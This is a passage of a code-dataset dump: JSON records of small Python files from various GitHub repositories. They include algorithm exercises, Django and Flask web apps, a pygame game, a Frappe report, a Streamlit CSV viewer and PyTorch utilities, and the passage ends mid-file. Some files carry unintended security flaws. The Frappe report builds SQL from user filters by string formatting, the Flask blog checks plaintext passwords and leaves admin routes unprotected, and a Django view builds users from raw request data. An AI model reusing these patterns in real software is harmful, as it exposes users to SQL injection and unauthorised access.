1, 2, 3, 6, 11, 20, 37, ___, ___, ___, …\n\nn = int(input(\"Enter the length of the sequence: \")) # Do not change this line\n\nx_int = 0\na_int = 0\nb_int = 0\nc_int = 0\n\nfor i in range(1, n+1):\n if i == 1:\n a_int = i\n print(a_int)\n elif i == 2:\n b_int = i\n print(b_int)\n elif i == 3:\n c_int = i\n print(c_int)\n else:\n x_int = a_int + b_int + c_int\n print(x_int)\n \n a_int = b_int\n b_int = c_int\n c_int = x_int","repo_name":"thelmaolafs/Algorithms","sub_path":"sequence.py","file_name":"sequence.py","file_ext":"py","file_size_in_byte":686,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"5962167668","text":"# 데이터 입력\nn = int(input())\nA = list(map(int, input().split()))\nB = list(map(int, input().split()))\n\n# s의 최솟값만 구하면 되므로 A, B둘다 정렬해서 곱해주면 되지만 그래도 B를 고정 후 A 리스트를 구하는 코드를 만들어 보자!\nif (len(A) != n) or (len(B) != n):\n print('제대로 입력하세요')\nelse:\n # [문제 조건 무시 그리디]\n sorted_A = sorted(A) # A 배열 정렬\n sorted_B = sorted(B, reverse=True) # B 배열 내림차순 정렬\n s = 0\n for i in range(n):\n s += sorted_A[i] * sorted_B[i]\n\n # [내가 푼 방식 -> 정렬된 A까지 확인 가능]\n new_A = [0 for i in range(n)] # s를 최소로 만드는 A 배열\n new_B = B.copy()\n sorted_index = [] # 내림 차순으로 정렬된 B 배열의 인덱스 값 저장\n s1 = 0\n # 정렬된 B 리스트의 인덱스값 저장\n for i in range(n):\n max_index = new_B.index(max(new_B))\n sorted_index.append(max_index)\n new_B[max_index] = -1\n # s를 최소로 만드는 A 배열 생성\n for i in range(n):\n new_A[sorted_index[i]] = sorted_A[i]\n # s의 최솟값 계산\n for i in range(n):\n s1 += new_A[i] * B[i]\n\n #print('A',new_A)\n #print('B', B)\n #print('s_A', sorted_A)\n #print('s_B', sorted_B)\n #print(s)\n print(s1)","repo_name":"18baby/algo","sub_path":"그리디알고리즘/보물.py","file_name":"보물.py","file_ext":"py","file_size_in_byte":1356,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"22525401582","text":"from django.urls import path\nfrom . import views\nfrom dashboard.home.api.views import Dashboard\nfrom dashboard.home.pages.views import Pages\n\nurlpatterns = [\n\n # The home page\n path('', views.index, name='home'),\n path('login/',Pages.login),\n\n\n path('pages/add-agenda/', Pages.addAgenda),\n path('pages/add-oferta/', Pages.addOferta),\n path('pages/add-dizimo/', Pages.addDizimo),\n path('pages/add-post/submit', Pages.addPostData),\n path('pages/add-post/',Pages.addPost),\n path('pages/add-evento/',Pages.addEventos),\n path('pages/add-evento/submit', Pages.addEvento),\n path('pages/add-slide/', Pages.addSlide),\n path('pages/add-slide/submit', Pages.addSlideData),\n path('pages/add-user/', Pages.addUserData),\n path('pages/add-user/submit', Pages.addUserData),\n\n\n\n path('pages/listar-agenda/', Pages.listaAgenda),\n path('pages/listar-oferta/', Pages.listarOferta),\n path('pages/listar-dizimo/', Pages.listarDizimo),\n path('pages/listar-post/', Pages.ListarPost),\n path('pages/listar-evento/', Pages.ListarEvento),\n path('pages/listar-feedback/', Pages.ListaFeedback),\n path('pages/listar-slide/',Pages.ListaSlides),\n path('pages/listar-user/', Pages.ListarUser),\n \n path('details-post/<int:id>', Pages.DetailPost),\n path('details/feedback/<int:id>', Pages.DetailsFeedback),\n\n path('pages/editar-agenda/<int:id>', Pages.editarAgenda),\n path('pages/editar-dizimo/<int:id>', Pages.editarDizimo),\n path('pages/editar-oferta/<int:id>', Pages.editarOferta),\n path('pages/editar-post/<int:id>', Pages.editarPost),\n path('pages/editar-evento/<int:id>', Pages.editarEvento),\n path('pages/editar-slide/<int:id>', Pages.editarSlide),\n path('pages/editar-user/<int:id>', Pages.EditarUser),\n\n\n path(\"add-agenda/\",Dashboard.add_agendas),\n path(\"add-dizimo/\",Dashboard.add_dizimo),\n path(\"add-oferta/\",Dashboard.add_oferta),\n\n\n path(\"deletar/agenda/<int:id>\",Dashboard.deletar_agenda),\n path(\"deletar/dizimo/<int:id>\",Dashboard.deletar_dizimo),\n path(\"deletar/oferta/<int:id>\",Dashboard.deletar_oferta),\n path(\"deletar/post/<int:id>\",Dashboard.deletar_post),\n path(\"deletar/evento/<int:id>\",Dashboard.deletar_evento),\n path(\"deletar/feedback/<int:id>\",Dashboard.deletar_feedback),\n path(\"deletar/slide/<int:id>\",Dashboard.deletar_slide),\n path('deletar/user/<int:id>', Dashboard.DeleteUser),\n\n path('editar-agenda/', Dashboard.EditarAgenda),\n path('editar-dizimo/', Dashboard.EditarDizimo),\n path('editar-oferta/', Dashboard.EditarOferta),\n path('pages/editar-post/submit', Pages.addPostData),\n path('pages/editar-evento/submit', Pages.addEvento),\n path('pages/editar-slide/submit', Pages.addSlideData),\n path('pages/editar-user/submit', Pages.EditarUserData),\n\n path('pages/profile',Pages.Profile),\n path('pages/profile/submit',Pages.ProfileData)\n]\n","repo_name":"Paulo-dev2/Igreja","sub_path":"dashboard/home/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2888,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"20907369363","text":"from datetime import datetime, timezone\n\nimport click\nfrom click import echo\nfrom flask import render_template, url_for, request, redirect, flash\nfrom flask_login import login_required\nfrom sqlalchemy.exc import IntegrityError\n\nfrom myblog.models import Article, Category, User\nfrom myblog import app, db\nfrom flask_sqlalchemy import SQLAlchemy, Model\n\n\n@app.route('/', methods=['GET'])\ndef index(page=1):\n page = request.args.get('page', 1, type=int)\n if not page:\n page = 1\n pagination = Article.query.filter().order_by(Article.timestamp.desc()).paginate(page=page, per_page=4)\n categories = Category.query.all()\n return render_template('index.html', articles=pagination.items, pagination=pagination, categories=categories)\n\n\n@app.route('/article/<int:article_id>', methods=['GET', 'POST'])\ndef show_article(article_id):\n article = Article.query.get_or_404(article_id)\n categories = Category.query.all()\n return render_template('article.html', article=article, categories=categories)\n\n\n@app.route('/category/<int:category_id>', methods=['GET', 'POST'])\ndef show_category(category_id):\n category = Category.query.get_or_404(category_id)\n categories = Category.query.all()\n page = request.args.get('page', 1, type=int)\n pagination = Article.query.with_parent(category).order_by(Article.timestamp.desc()).paginate(page, per_page=4)\n articles = pagination.items\n return render_template('category.html', category=category, categories=categories, articles=articles,\n pagination=pagination)\n\n\n@app.route('/admin')\ndef admin_index(string=None):\n return render_template('admin/admin_index.html', string=\"hello, None\")\n\n\n@app.route('/admin/admin_categories')\ndef admin_categories():\n categories = Category.query.all()\n return render_template('admin/admin_categories.html', categories=categories)\n\n\n@app.route('/admin/add_category', methods=['POST'])\ndef add_category():\n if request.method == 'POST':\n category_name = request.form['category']\n categories = Category.query.all()\n for category in categories:\n if category.name == category_name:\n return redirect(url_for('admin_categories'))\n category = Category(name=category_name)\n db.session.add(category)\n try:\n db.session.commit()\n except IntegrityError:\n db.session.rollback()\n flash(\"Add category succeed!\")\n return redirect(url_for('admin_categories'))\n\n\n@app.route('/admin/delete_category/<int:category_id>', methods=['POST'])\ndef delete_category(category_id):\n category = Category.query.get_or_404(category_id)\n category.delete()\n flash(\"Delete category succeed!\")\n return render_template('admin/admin_index.html', string=\"Delete category successfully!\")\n\n\n@app.route('/admin/admin_articles')\ndef admin_articles():\n # articles = Article.query.all()\n # categories = Category.query.all()\n page = request.args.get('page', 1, type=int)\n pagination = Article.query.filter().order_by(Article.timestamp.desc()).paginate(page, per_page=5)\n articles = pagination.items\n return render_template('admin/admin_articles.html', articles=articles, pagination=pagination)\n\n\n@app.route('/admin/delete/<int:article_id>', methods=['POST'])\ndef delete_article(article_id):\n article = Article.query.get_or_404(article_id)\n db.session.delete(article)\n db.session.commit()\n flash(\"Delete article succeed!\")\n return redirect(url_for(\"admin_articles\"))\n\n\n@app.route('/admin/add_article', methods=['POST', 'GET'])\ndef add_article():\n categories = Category.query.all()\n if request.method == 'POST':\n title = request.form['title']\n category_id = request.form['category_id']\n content = request.form['content']\n echo(title)\n article = Article(title=title, category_id=category_id, content=content)\n db.session.add(article)\n db.session.commit()\n flash(\"Add article succeed!\")\n return render_template('admin/admin_index.html', string=\"Add article successfully!\")\n return render_template('admin/add_article.html', categories=categories)\n\n\n@app.route('/admin/edit/<int:article_id>', methods=['POST', 'GET'])\ndef edit_article(article_id):\n article = Article.query.get_or_404(article_id)\n categories = Category.query.all()\n if request.method == 'POST':\n article.title = request.form['title']\n article.category_id = request.form['category_id']\n article.content = request.form['content']\n article.timestamp = datetime.now()\n db.session.commit()\n flash(\"Edit article succeed!\")\n return render_template('admin/admin_index.html', string=\"edit successfully\")\n return render_template('admin/add_article.html', article=article, categories=categories)\n\n\n@app.route('/admin/login', methods=['POST', 'GET'])\ndef login():\n from flask_login import current_user\n if not current_user.is_authenticated:\n if request.method == 'POST':\n username = request.form['username']\n password = request.form['password']\n user = User.query.first()\n if user.userName == username and user.password == password:\n from flask_login import login_user\n login_user(user)\n flash('Logged Succeed!')\n return render_template('admin/admin_index.html', string=\"hello %s\" % username)\n else:\n flash('Invalid username or password!')\n return render_template('admin/login.html')\n\n else:\n flash('Welcome back')\n return render_template('admin/admin_index.html', string=\"hello again \")\n return render_template('admin/login.html')\n\n\n@app.route('/admin/logout')\n# @login_required\ndef logout():\n from flask_login import logout_user\n logout_user()\n flash(\"Logout!\")\n return render_template('admin/login.html')\n","repo_name":"NanoBobbi/myblog","sub_path":"myblog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5923,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"36315215761","text":"import pygame, sys, time, random\nfrom pygame.locals import *\n\npygame.init()\nscreen = pygame.display.set_mode((600, 500))\npygame.display.set_caption(\"炸弹游戏\")\n\nfont1 = pygame.font.Font(None, 24)\nfont2 = pygame.font.Font(None, 200)\nwhite = 255, 255, 255\nyellow = 255, 255, 0\n\nkey_flag = False\ncorrect_answer = 97\nseconds = 11\nscore = 0\nclock_start = 0\ngame_over = True\n\n\ndef print_text(font, x, y, text, clr=(255, 255, 255)):\n imgtext = font.render(text, True, clr)\n screen.blit(imgtext, (x, y))\n\n\nwhile True:\n for event in pygame.event.get():\n if event.type == QUIT:\n sys.exit()\n elif event.type == KEYDOWN:\n key_flag = True\n elif event.type == KEYUP:\n key_flag = False\n\n keys = pygame.key.get_pressed()\n if keys[K_ESCAPE]:\n sys.exit()\n if keys[K_RETURN]:\n if game_over:\n game_over = False\n score = 0\n seconds = 11\n clock_start = time.clock()\n\n # clock_start = time.clock()\n current = time.clock() - clock_start\n speed = score * 6\n if seconds - current < 0:\n game_over = True\n elif current <= 10:\n if keys[correct_answer]:\n correct_answer = random.randint(97, 122)\n score += 1\n clock_start = time.clock()\n screen.fill((0, 100, 0))\n\n print_text(font1, 0, 0, \"Let's see how fast you can type!\")\n print_text(font1, 0, 20, \"Try to keep up for 10 seconds...\")\n\n if key_flag:\n print_text(font1, 500, 0, \"<key>\")\n\n print_text(font1, 0, 40, \"currenttime:\" + str(current))\n print_text(font1, 0, 60, \"starttime:\" + str(clock_start))\n if not game_over:\n print_text(font1, 0, 80, \"Time:\" + str(int(seconds - current)))\n print_text(font1, 0, 100, \"Speed:\" + str(speed) + \" letters/min\")\n\n if game_over:\n print_text(font1, 0, 160, \"Press Enter to start...\")\n\n print_text(font2, 0, 240, chr(correct_answer - 32), yellow)\n\n pygame.display.update()\n\n\n# pygame.key.set_repeat(100)\n# while True:\n# for event in pygame.event.get():\n# if event.type == QUIT:\n# sys.exit()\n# elif event.type == KEYDOWN:\n# if event.key == K_ESCAPE:\n# sys.exit()\n# else:\n# print(event.key)\n# elif event.type == MOUSEMOTION:\n# mouse_x, mouse_y = event.pos\n# move_x, move_y = event.rel\n# elif event.type == MOUSEBUTTONDOWN:\n# mouse_down = event.button\n# mouse_down_x, mouse_down_y = event.pos\n# elif event.type == MOUSEBUTTONUP:\n# mouse_up = event.button\n# mouse_up_x, mouse_up_y = event.pos\n#\n\n\n\n","repo_name":"pepsl603/python","sub_path":"Game/dazai.py","file_name":"dazai.py","file_ext":"py","file_size_in_byte":2688,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"13667656693","text":"from pyconnectwise.endpoints.automate.LocationsIdProbeconfigurationEndpoint import (\n LocationsIdProbeconfigurationEndpoint,\n)\nfrom pyconnectwise.endpoints.automate.LocationsIdUpgradeprobeEndpoint import (\n LocationsIdUpgradeprobeEndpoint,\n)\nfrom pyconnectwise.endpoints.base.connectwise_endpoint import ConnectWiseEndpoint\n\n\nclass LocationsIdEndpoint(ConnectWiseEndpoint):\n def __init__(self, client, parent_endpoint=None) -> None: # noqa: ANN001\n ConnectWiseEndpoint.__init__(self, client, \"{id}\", parent_endpoint=parent_endpoint)\n\n self.probeconfiguration = self._register_child_endpoint(\n LocationsIdProbeconfigurationEndpoint(client, parent_endpoint=self)\n )\n self.upgradeprobe = self._register_child_endpoint(LocationsIdUpgradeprobeEndpoint(client, parent_endpoint=self))\n","repo_name":"HealthITAU/pyconnectwise","sub_path":"src/pyconnectwise/endpoints/automate/LocationsIdEndpoint.py","file_name":"LocationsIdEndpoint.py","file_ext":"py","file_size_in_byte":827,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"29"} +{"seq_id":"15971378657","text":"from Football_With_Goalie import Game\nimport json\n\n\nsaved_goals = \"GameRunLogs/GameRunLog-2207-110959-Saved-Goals.json\"\n# last_100 = \"GameRunLogs/GameRunLog-2007-182634-Last-100.json\"\nwith open(saved_goals, \"r\") as read_file:\n gameJsonData = json.load(read_file)\n\nfor record in gameJsonData:\n g = Game(graphics=True)\n\n g.football.ROIx = record['BallROI'][0]\n g.football.ROIy = record['BallROI'][1]\n g.football.ROIz = 0.11\n\n for move in record['Goalie_Coords']:\n g.goalie.move_to_pos(move[0], move[1])\n g.render_next_frame()\n\n g.wait_after_complete()\n\n\n # print(g.isGameEnd)\n # if g.on_target:\n # if g.saved:\n # print(\"Saved by the goalie!!\")\n # else:\n # print(\"Scored!!\")\n # else:\n # print(\"Missed!!\")","repo_name":"souptikmakarov/Learn-Goalkeeping","sub_path":"ReplayGame.py","file_name":"ReplayGame.py","file_ext":"py","file_size_in_byte":788,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"32976584775","text":"def checkSubarraySum( nums, k):\n if k < 0 :\n k = -1*k\n diff = set()\n sum = nums[0]\n if sum == 0 :\n diff.add(k)\n else :\n diff.add(sum%k)\n for i in range(1, len(nums)):\n print(diff)\n if nums[i]%k == 0 & len(diff) > 0:\n return True\n if nums[i] == k and 0 in diff:\n return True\n if k-(nums[i]%k) in diff :\n return True\n sum += nums[i]\n diff.add(sum % k)\n\n return False\n\n\n\n\n\n\nif __name__ == '__main__':\n nums = [23,2,4,6,7]\n\n k= -1\n print(checkSubarraySum(nums,k))","repo_name":"nithinveer/leetcode-solutions","sub_path":"Continuous Subarray Sum.py","file_name":"Continuous Subarray Sum.py","file_ext":"py","file_size_in_byte":589,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"7083360417","text":"from __future__ import unicode_literals\nimport frappe\nfrom frappe import _\n\ndef execute(filters=None):\n columns = get_columns(filters)\n data = get_data(filters)\n return columns, data\n\ndef get_columns(filters):\n columns = [\n {\"label\": _(\"Object\"), \"fieldname\": \"object\", \"fieldtype\": \"Link\", \"options\": \"Object\", \"width\": 100},\n {\"label\": _(\"Object Name\"), \"fieldname\": \"object_name\", \"fieldtype\": \"Data\", \"width\": 150},\n {\"label\": _(\"Street\"), \"fieldname\": \"object_street\", \"fieldtype\": \"Data\", \"width\": 150},\n {\"label\": _(\"Location\"), \"fieldname\": \"object_location\", \"fieldtype\": \"Data\", \"width\": 150},\n {\"label\": _(\"Date\"), \"fieldname\": \"date\", \"fieldtype\": \"Date\", \"width\": 150},\n {\"label\": _(\"Rate\"), \"fieldname\": \"rate\", \"fieldtype\": \"Currency\", \"width\": 100},\n {\"label\": _(\"Overall Rate\"), \"fieldname\": \"overall_rate\", \"fieldtype\": \"Currency\", \"width\": 100}\n ]\n return columns\n\ndef get_data(filters):\n item = frappe.get_value(\"Heim Settings\", \"Heim Settings\", \"drilling_item\")\n conditions = \"\"\n if filters.object:\n conditions += \"\"\" AND `tabObject`.`name` = \"{object}\" \"\"\".format(object=filters.object)\n if filters.street:\n conditions += \"\"\" AND `tabObject`.`object_street` LIKE \"%{street}%\" \"\"\".format(street=filters.street)\n if filters.location:\n conditions += \"\"\" AND `tabObject`.`object_location` LIKE \"%{location}%\" \"\"\".format(location=filters.location)\n sql_query = \"\"\"SELECT \n `tabQuotation`.`object` AS `object`,\n `tabObject`.`object_name` AS `object_name`,\n `tabObject`.`object_street` AS `object_street`,\n `tabObject`.`object_location` AS `object_location`,\n `tabQuotation`.`transaction_date` AS `date`,\n `tabQuotation Item`.`rate` AS `rate`,\n (`tabQuotation`.`conditional_net_total` / `tabQuotation Item`.`qty`) AS `overall_rate`\n FROM `tabQuotation Item`\n LEFT JOIN `tabQuotation` ON `tabQuotation Item`.`parent` = `tabQuotation`.`name`\n LEFT JOIN `tabObject` ON `tabQuotation`.`object` = `tabObject`.`name`\n WHERE \n `tabQuotation Item`.`item_code` = \"{item}\"\n AND `tabQuotation`.`docstatus` = 1\n {conditions};\"\"\".format(item=item, conditions=conditions) \n data = frappe.db.sql(sql_query, as_dict = True)\n return data\n","repo_name":"libracore/hb","sub_path":"heimbohrtechnik/heim_bohrtechnik/report/drilling_rate_evaluation/drilling_rate_evaluation.py","file_name":"drilling_rate_evaluation.py","file_ext":"py","file_size_in_byte":2391,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"71310958873","text":"from django.contrib.auth.models import User\nfrom rest_framework import permissions, viewsets\n\nfrom watchlists.models import WatchList\nfrom .models import Profile\nfrom .serializers import ProfileSerializers\n\n\nclass IsOwnerOrHasCommonWatchlist(permissions.BasePermission):\n def has_object_permission(self, request, view, obj):\n if request.method not in permissions.SAFE_METHODS:\n return False\n\n is_owner = request.user == obj.user\n has_common_watchlist = Profile.objects.filter(watchlists__watchers=obj).exists()\n\n return is_owner or has_common_watchlist\n\n\nclass ProfileViewSet(viewsets.ModelViewSet):\n permission_classes = (permissions.IsAuthenticated, IsOwnerOrHasCommonWatchlist,)\n serializer_class = ProfileSerializers\n\n def get_queryset(self):\n \"\"\"\n Users can view the profiles of themselves and of other users that they have\n shared watchlists with.\n \"\"\"\n return Profile.objects.filter(watchlists__watchers__user=self.request.user).distinct()\n\n def create(self, request, *args, **kwargs):\n # create a user using the email as username\n user = User(username=request.data.get('email'), **request.data)\n user.set_password(request.data['password'])\n user.save()\n # create a Profile instance with the newly created user\n request.data['user'] = user.id\n response = super().create(request, *args, **kwargs)\n\n return response\n","repo_name":"alisazhou/wutwatch","sub_path":"wutwatch/profiles/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"71912326231","text":"import sys\nimport os\nimport random\nfrom collections import defaultdict\n\n\nRATIO = (0.45, 0.05, 0.5)\ndirname = sys.argv[1]\n\n\ndef get_label(line):\n return line.strip().split('\\t')[3]\n\n\ndef get_index(line):\n return int(line.strip().split('\\t')[0])\n\n\n# Read dataset files\ntrain = open(os.path.join(dirname, \"train.tsv\"), 'r')\ndev = open(os.path.join(dirname, \"dev.tsv\"), 'r')\n\nlines = train.readlines()\nfor line in dev.readlines()[1:]:\n parsed = line.split('\\t')\n idx = int(parsed[0]) + 2490\n parsed[0] = str(idx)\n lines.append('\\t'.join(parsed))\n\n# Classify lines by labels\nclassified = defaultdict(list)\nfor line in lines[1:]:\n classified[get_label(line)].append(line)\n\n# Split datasets\ntr_lines = []\ndev_lines = []\nts_lines = []\n\nfor set in classified.values():\n random.shuffle(set)\n tr_end = int(len(set) * RATIO[0])\n dev_end = int(len(set) * (RATIO[0]+RATIO[1]))\n tr_lines.extend(set[:tr_end])\n dev_lines.extend(set[tr_end:dev_end])\n ts_lines.extend(set[dev_end:])\n\ntr_lines.sort(key=get_index)\ndev_lines.sort(key=get_index)\nts_lines.sort(key=get_index)\ntr_lines = [lines[0]] + tr_lines\ndev_lines = [lines[0]] + dev_lines\nts_lines = [lines[0]] + ts_lines\n\nnew_train = open(os.path.join(dirname, \"new_train.tsv\"), 'w')\nnew_dev = open(os.path.join(dirname, \"new_dev.tsv\"), 'w')\nnew_test = open(os.path.join(dirname, \"new_test.tsv\"), 'w')\n\nnew_train.writelines(tr_lines)\nnew_dev.writelines(dev_lines)\nnew_test.writelines(ts_lines)\n\ntrain.close()\ndev.close()\nnew_train.close()\nnew_dev.close()\nnew_test.close()\n","repo_name":"footprinthere/AttAttr-Cutoff","sub_path":"glue_data/preprocess/split_RTE.py","file_name":"split_RTE.py","file_ext":"py","file_size_in_byte":1545,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"5"} +{"seq_id":"15866205035","text":"from io import StringIO\nimport pandas as pd\nimport streamlit as st\n\n# Streamlit page configuration\nst.set_page_config(\n page_title=\"Enhanced CSV Reader\",\n page_icon=\":page_with_curl:\",\n layout=\"wide\"\n)\n\n\n# Function to load and parse the CSV data\ndef load_csv(input_text, delimiter, header):\n text_io = StringIO(input_text)\n return pd.read_csv(text_io, sep=delimiter, header=0 if header else None)\n\n\n# Function to handle file uploads or text input\ndef handle_input():\n with st.sidebar:\n st.header(\"CSV Input Options\")\n # Option to choose input method\n input_method = st.radio(\n \"Choose input method:\",\n options=['Upload CSV file', 'Enter CSV text']\n )\n\n # Conditional logic based on input method\n if input_method == 'Enter CSV text':\n text = st.text_area(\"Enter CSV data\", height=250)\n else:\n uploaded_file = st.file_uploader(\"Upload a CSV file\")\n text = StringIO(uploaded_file.getvalue().decode(\"utf-8\")).getvalue() if uploaded_file is not None else \"\"\n\n return text\n\n\n# Function to display the DataFrame in Streamlit\ndef display_dataframe(df):\n st.subheader(\"CSV Data\")\n st.dataframe(df, use_container_width=True)\n\n\n# Sidebar configuration for additional options\nwith st.sidebar:\n st.header(\"CSV Reader Settings\")\n\n # Delimiter selection\n delimiter = st.selectbox(\n \"Select a delimiter:\",\n options=[\n (\",\", \"Comma (,)\"),\n (\";\", \"Semicolon (;)\"),\n (\":\", \"Colon (:)\"),\n (\"\\t\", \"Tab\"),\n (\"|\", \"Pipe (|)\"),\n (\"custom\", \"Custom\")\n ],\n format_func=lambda x: x[1], # Display the description to the user\n index=0\n )\n delimiter = delimiter[0]\n\n if delimiter == \"custom\":\n delimiter = st.text_input(\"Custom Delimiter\", value=\",\")\n\n has_header = st.checkbox(\"CSV has header row\", value=True)\n\n# Process and display the CSV data\ntext = handle_input()\n\nif text:\n try:\n st.write(delimiter)\n df = load_csv(text, delimiter, has_header)\n display_dataframe(df)\n # Provide a download button for the processed DataFrame\n except pd.errors.EmptyDataError:\n st.error(\"The provided CSV data is empty. Please enter some data.\")\n except pd.errors.ParserError as e:\n st.error(f\"Error parsing CSV data: {e}\")\n except Exception as e:\n st.error(f\"An error occurred: {e}\")\nelse:\n st.info(\"Use the sidebar to upload a CSV file or enter CSV data directly into the text area.\")\n","repo_name":"pgarrett-scripps/CSV_Viewer_Streamlit","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2574,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"3356236112","text":"from itertools import combinations\nfrom pinperms import *\nfrom pathlib import Path\n\n\nif __name__ == \"__main__\":\n\n n = int(sys.argv[1])\n k = int(sys.argv[2])\n for basis in combinations(Perm.of_length(n), k):\n basis_str = '_'.join(''.join(str(x) for x in p) for p in basis)\n L = make_DFA_for_basis(basis, use_db=True, verbose=False)\n L = L.complement()\n L = make_DFA_for_M().intersect(L).minify(False)\n directory = \"images/S{}/length{}\".format(n, k)\n p = Path(directory)\n p.mkdir(parents=True, exist_ok=True)\n filename = \"{}.png\".format(basis_str)\n p = p / filename\n L.show_diagram(p)\n \n","repo_name":"Tagl/infinite_simples","sub_path":"make_images.py","file_name":"make_images.py","file_ext":"py","file_size_in_byte":667,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"13142582533","text":"import torch\nimport torchvision\nfrom einops import rearrange\nimport wandb\n\ndef get_bincount_of_keys_along_book_dim(key_bindings, args):\n bincount = torch.zeros((key_bindings.shape[1], args.num_pairs), dtype=torch.float)\n key_bindings = rearrange(key_bindings, \" b c ... -> c (b ...)\")\n for i in range(key_bindings.shape[0]):\n bincount[i] = torch.bincount(key_bindings[i].int(), minlength=args.num_pairs)\n plot = torchvision.utils.make_grid(bincount)\n image = wandb.Image(plot, caption=\"frequency bindings of keys per discrete code book\")\n return image\n\ndef batched_bincount(x, dim, max_value):\n target = torch.zeros(x.shape[0], max_value, dtype=x.dtype, device=x.device)\n values = torch.ones_like(x)\n target.scatter_add_(dim, x, values)\n return target\n\n\ndef compute_batch_accuracy_with_buffer_matching(outputs):\n bs, num_obj, num_classes = outputs[\"pred_logits\"].shape\n predicted_labels = torch.argmax(outputs[\"pred_logits\"], dim=-1)\n target_bins = outputs[\"target_matches\"].sum(dim=1)\n\n pred_bins = batched_bincount(predicted_labels, dim=1, max_value=num_classes)\n\n batch_accuracy_soft = (pred_bins == target_bins).masked_fill_((target_bins == 0), False).sum().float() / (bs*num_obj)\n batch_accuracy_hard = (torch.abs((pred_bins - target_bins)).sum(dim=-1) == 0).sum().float() / bs\n\n return batch_accuracy_soft, batch_accuracy_hard\n\n\ndef evaluate_batches_with_buffer_matching(dataloader, model, retrieval_dict=None, num_batches=10, multihot=False, target_criterion=None):\n device = next(model.parameters()).device\n model.eval()\n accuracy_soft = 0.0\n accuracy_hard = 0.0\n with torch.no_grad():\n for index, batch in enumerate(dataloader):\n if index >= num_batches:\n break\n inputs = batch[0].to(device)\n targets = list(map(lambda x: {\"labels\": x[\"labels\"].to(device)}, batch[1]))\n output = model(inputs, retrieval_dict=retrieval_dict, target_labels=targets)\n batch_accuracy_soft, batch_accuracy_hard = compute_batch_accuracy_with_buffer_matching(output)\n accuracy_soft += 100 * float(batch_accuracy_soft.item())\n accuracy_hard += 100 * float(batch_accuracy_hard.item())\n\n bs, num_obj, num_classes = output[\"pred_logits\"].shape\n predicted_labels = torch.argmax(output[\"pred_logits\"], dim=-1)\n pred_bins = batched_bincount(predicted_labels, dim=1, max_value=num_classes)\n plots = torchvision.utils.make_grid(torch.cat((output[\"target_matches\"].sum(dim=1)[0][None, :], pred_bins[0][None, :]), dim=0), nrow=2)\n\n return accuracy_soft / num_batches, accuracy_hard / num_batches, plots\n\n\ndef compute_batch_accuracy_hungarian_head(outputs, targets):\n bs, num_obj, num_classes = outputs[\"pred_logits\"].shape\n predicted_labels = torch.argmax(outputs[\"pred_logits\"], dim=-1)\n\n device = predicted_labels.device\n empty_class = num_classes - 1\n\n # target_labels = torch.stack([d[\"labels\"] for d in targets])\n # no_targets = torch.full((bs, num_obj - target_labels.shape[-1]), num_classes-1, device=device)\n # target_labels = torch.cat([target_labels, no_targets], dim=1)\n\n target_labels = torch.stack([torch.cat([d[\"labels\"],\n torch.full((num_obj - d[\"labels\"].shape[-1],), empty_class, device=device)],\n dim=0)\n for d in targets])\n\n sorted_target_labels = torch.sort(target_labels, dim=-1)[0]\n sorted_predicted_labels = torch.sort(predicted_labels, dim=-1)[0]\n\n batch_accuracy = (sorted_predicted_labels == sorted_target_labels).sum().float() / (bs*num_obj)\n\n return batch_accuracy\n\n\ndef evaluate_batches(dataloader, model, retrieval_dict=None, num_batches=10, multihot=False, target_criterion=None):\n device = next(model.parameters()).device\n model.eval()\n accuracy = 0.0\n with torch.no_grad():\n for index, batch in enumerate(dataloader):\n if index >= num_batches:\n break\n inputs = batch[0].to(device)\n targets = list(map(lambda x: {\"labels\": x[\"labels\"].to(device)}, batch[1]))\n output = model(inputs, retrieval_dict=retrieval_dict)\n\n if multihot:\n outputs = torch.sigmoid(output[\"pred_logits\"])\n outputs[outputs >= 0.5] = 1\n outputs[outputs < 0.5] = 0\n batch_accuracy = torch.all(outputs == targets, dim=1).float().mean()\n else:\n # if target_criterion is not None:\n # targets = target_criterion.target_transform(targets)\n # batch_accuracy = torch.all(torch.sort(torch.argmax(output[\"pred_logits\"], dim=-1))[0] ==\n # torch.sort(torch.stack([d[\"labels\"] for d in targets]), dim=-1)[0],\n # dim=1).float().mean()\n batch_accuracy = compute_batch_accuracy_hungarian_head(output, targets)\n accuracy += 100 * float(batch_accuracy.item())\n\n return accuracy / num_batches\n","repo_name":"alexchandler100/MAT_180","sub_path":"learning-robust-representations-learned-through-distribution-shift/utils_refactor/train_utils.py","file_name":"train_utils.py","file_ext":"py","file_size_in_byte":5112,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"5"} +{"seq_id":"20532599142","text":"import math\nimport numpy as np\n\nalphabet = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z']\nalphabet_rus = ['А','Б','В','Г','Д','Е','Ё','Ж','З','И','Й','К','Л','М','Н','О','П','Р','С','Т','У','Ф','Х','Ц','Ч',\n 'Ш','Щ','Ъ','Ы','Ь','Э','Ю','Я','.',',',' ','?']\n\n\ndef move_enc(key, mes):\n if not check_move_key(key):\n print 